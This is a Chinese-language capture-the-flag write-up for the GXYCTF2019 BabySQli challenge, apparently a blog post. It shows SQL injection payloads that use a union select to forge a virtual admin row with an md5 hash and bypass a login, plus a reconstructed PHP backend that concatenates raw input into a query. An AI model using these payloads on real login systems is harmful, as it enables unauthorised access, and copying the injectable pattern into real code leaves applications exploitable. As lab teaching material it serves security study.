[GXYCTF2019]BabySQli
-
试题地址:http://e62eb11b-2012-4ee0-8221-1063edcb04a2.node4.buuoj.cn
-
这个题最主要的点就是一个新的知识点:
当查询的数据不存在的时候,联合查询就会构造一个虚拟的数据
我们举一个例子:
最初的users表中只有一行数据
我们通过union select联合查询就可以构造一行虚拟的数据
所以这个题思路大概是这样,我们先是判断出存在admin这个账户,然后构造一个自己的密码123进行登录然后获取flag
- 我们进入试题地址发现就一个登录框
-
然后我们进行常规的SQL注入,都会出现这个页面
1' and '1'='1 1' or '1'='1 1' order by 3#
- 然后我们尝试一下用户名输出1和admin,发现输入1会提示
wrong user!
,而输入admin会题是wrong pass!
,所以我们发现admin是正确用户名,但是我们不知道密码,我们查看源代码会有一个这样的页面
这串字符我们经过base32解密,在经过base64解密就会得出:
select * from user where username = '$name'
我们发现后台SQL查询语句是这样的
我们利用union查询判断一下有多少个字段:
1' union select 1,2,3# //密码随意输入
然后出现这样一个页面,3个字段是对的,这个你可以一个一个试,返回结果是不一样的
然后我们猜测3个字段大概是这样id,admin,password,我们测试一下admin在哪个字段
1' union select 1,'admin',3# //得出admin位于第二个字段
然后我们就可以利用union查询构造一个虚拟数据,username=admin,password=123(我们自定义的)
1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#
202cb962ac59075b964b07152d234b70 这个是md5(123)加密之后的数据,因为一般数据库密码都会通过md5加密 //注意是 32为小 的加密方式,32为大 的行不通,我也不清楚为啥,到时候回来补上这个点
这里我们可以大概猜测一下后台源码:
$name = $_POST['name'];
$password = $_POST['pw'];
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){
echo $flag;
}else{
die("wrong pass!");
}
}else{
die("wrong user!");
}
}
然后我们输入得出flag:
username:1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#
password:123